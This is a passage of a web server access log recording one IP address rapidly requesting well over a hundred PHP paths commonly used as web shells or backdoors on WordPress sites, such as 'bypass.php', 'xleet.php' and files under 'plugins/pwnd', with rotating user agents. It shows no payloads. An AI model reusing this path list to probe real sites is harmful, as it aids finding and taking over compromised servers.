x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:42:13 +0300] "GET /.tmb/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:42:13 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:42:13 +0300] "GET /wp-includes/style-engine-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:14 +0300] "GET /images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:42:14 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:14 +0300] "GET /adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:42:15 +0300] "GET /js/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:15 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:42:15 +0300] "GET /wp-includes/blocks/file/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:16 +0300] "GET /images/habhan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:42:16 +0300] "GET /wp-content/mu-plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:17 +0300] "GET /wp-includes/IXR/class-IXR-cilent.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:42:17 +0300] "GET /wp-content/uploads/wp-cert.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:17 +0300] "GET /about/function.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:42:18 +0300] "GET /routes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:18 +0300] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:42:18 +0300] "GET /wp-includes/PHPMailer/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:19 +0300] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:19 +0300] "GET /f35_SpaceTn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:42:19 +0300] "GET /wp-admin/css/colors/sunrise/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:20 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/fixed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:42:20 +0300] "GET /wp-admin/js/widgets/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:42:21 +0300] "GET /wp-content/plugins/fix/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:42:21 +0300] "GET /wp-includes/category-double.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:22 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:22 +0300] "GET /blog/signatur.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:22 +0300] "GET /wp-includes/assets/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:23 +0300] "GET /wp-includes/widgets/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:42:23 +0300] "GET /include/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:42:23 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:42:24 +0300] "GET /wp-includes/class-wp-language-pack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:42:24 +0300] "GET /js/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:25 +0300] "GET /wp-includes/class-walker-comment-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:25 +0300] "GET /about/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:25 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:42:26 +0300] "GET /function/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:26 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:26 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:42:27 +0300] "GET /wp-includes/class-wp-network-query-stat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:27 +0300] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:27 +0300] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:28 +0300] "GET /wp-includes/class-wp-session-tokens-https.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:28 +0300] "GET /wp-admin/js/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:28 +0300] "GET /images/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:29 +0300] "GET /wp-includes/images/crystal/lrs_dage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:29 +0300] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:29 +0300] "GET /wp-includes/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:30 +0300] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:30 +0300] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:42:30 +0300] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:42:31 +0300] "GET /wp-includes/customize/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:42:31 +0300] "GET /css/fan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:42:32 +0300] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:32 +0300] "GET /images/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:42:32 +0300] "GET /wp-content/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:33 +0300] "GET /wp-admin/css/colors/ectoplasm/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:33 +0300] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:33 +0300] "GET /wp-includes/js/thickbox/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:34 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:34 +0300] "GET /wp-content/themes/twentytwentyfour/icascreenshots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:42:34 +0300] "GET /wp-content/upgrade/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:42:35 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:35 +0300] "GET /wp-admin/css/colors/ocean/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:35 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:36 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:36 +0300] "GET /wp-includes/certificates/past.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:42:36 +0300] "GET /wp-content/uploads/2021/faiyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:37 +0300] "GET /css/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:42:37 +0300] "GET /wp-content/plugins/pwnd/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:38 +0300] "GET /wp-includes/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:38 +0300] "GET /wsax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:38 +0300] "GET /bless.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:42:39 +0300] "GET /wp-content/uploads/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:39 +0300] "GET /templates/beez3/dbcthbohhr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:42:39 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:40 +0300] "GET /wp-content/themes/tflow/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:40 +0300] "GET /wp-includes/css/dist/footer-default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:40 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:41 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-request.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:42:41 +0300] "GET /wp-content/plugins/pwnd/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:42:41 +0300] "GET /wp-includes/css/dist/edit-widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:42 +0300] "GET /wp-content/plugins/ubh/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:42:42 +0300] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:42 +0300] "GET /wp-includes/l10n/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:43 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:43 +0300] "GET /wp-admin/js/widgets/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:43 +0300] "GET /uploads/xsec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:42:44 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:42:44 +0300] "GET /wp-content/plugins/pwnd-1/kurd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:44 +0300] "GET /wp-content/themes/tflow/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:42:45 +0300] "GET /wp-content/languages/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:42:45 +0300] "GET /wp-content/uploads/fileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:45 +0300] "GET /wp-includes/widgets/wp-ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:42:46 +0300] "GET /wp-includes/IXR/xsec1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:46 +0300] "GET /admin.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:42:46 +0300] "GET /wp-admin/css/colors/hong1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:47 +0300] "GET /wp-admin/maint/byps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:42:47 +0300] "GET /wp-includes/images/crystal/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:48 +0300] "GET /wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:42:48 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:48 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:49 +0300] "GET /wp-includes/class-phpmailer-beta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:49 +0300] "GET /wp-includes/ms-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:49 +0300] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:50 +0300] "GET /wp-includes/widgets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:42:50 +0300] "GET /images/news_event/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:50 +0300] "GET /chosen.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:51 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:42:51 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:51 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:52 +0300] "GET /page.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:52 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:52 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 